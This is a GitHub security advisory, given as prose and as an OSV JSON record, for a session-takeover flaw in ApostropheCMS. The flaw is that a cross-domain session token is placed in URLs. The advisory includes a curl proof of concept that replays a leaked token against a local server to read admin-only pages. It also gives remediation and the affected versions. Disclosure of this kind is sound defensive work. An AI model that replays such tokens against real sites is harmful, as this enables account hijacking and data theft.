GHSA-HHVR-8M24-QQR3
Vulnerability from github – Published: 2026-10-20 18:09 – Updated: 2026-10-20 18:09Summary
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.
Details
packages/apostrophe/modules/@apostrophecms/i18n/index.js:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (passport-bridge/index.js L557–593) places the token in the URL.
- acceptCrossDomainSessionToken (L258–298) reads ?aposCrossDomainSessionToken, Object.assigns the stored session (cookie + passport.user) onto req.session, then nulls the cache entry under namespace @apostrophecms/i18n:cross-domain-sessions.
- Middleware without before: is registered for every URL (express findModuleMiddlewareAndRoutes L820–879); verified with APOS_LOG_ALL_ROUTES=1.
PoC
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
Impact Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.
Remediation — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apostrophecms/passport-bridge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113669"
],
"database_specific": {
"cwe_ids": [
"CWE-598"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T18:09:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "**Summary**\nApostrophe\u0027s cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user\u0027s full session (including `passport.user`) with no credentials.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:\n- Token generation on cross-host/locale flows (L479\u2013487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557\u2013593) places the token in the URL.\n- `acceptCrossDomainSessionToken` (L258\u2013298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.\n- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820\u2013879); verified with `APOS_LOG_ALL_ROUTES=1`.\n\n**PoC**\n```\n# 0) Anonymous baseline: admin-only draft \u2192 403\n# 1) Admin logs in legitimately (token minted into redirect URL):\ncurl -c admin.cookies -X POST -H \"Content-Type: application/json\" \\\n --data \u0027{\"username\":\"admin\",\"password\":\"adminpassword\",\"session\":true}\u0027 \\\n http://localhost:3100/api/v1/@apostrophecms/login/login\n# 2) Attacker with NO credentials visits the leaked token URL:\ncurl -c atk.cookies \"http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN\"\n# \u2192 302 Location: / ; attacker now holds a vulnlab.sid SID cookie\n# 3) Attacker reads admin-only content via adopted session:\ncurl -b atk.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"\n# \u2192 200 adopted-session read -\u003e Secret Private Page | secretData = TOP-SECRET-VALUE-abc123\n# 4) Cache entry consumed (single-use): {\"value\":null}\n```\n\n**Impact**\nSession hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account\u0027s privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.\n\n**Remediation** \u2014 Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.",
"id": "GHSA-hhvr-8m24-qqr3",
"modified": "2026-10-20T18:09:01Z",
"published": "2026-10-20T18:09:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-hhvr-8m24-qqr3"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ApostropheCMS: Cross-domain session token in URL confers session takeover"
}
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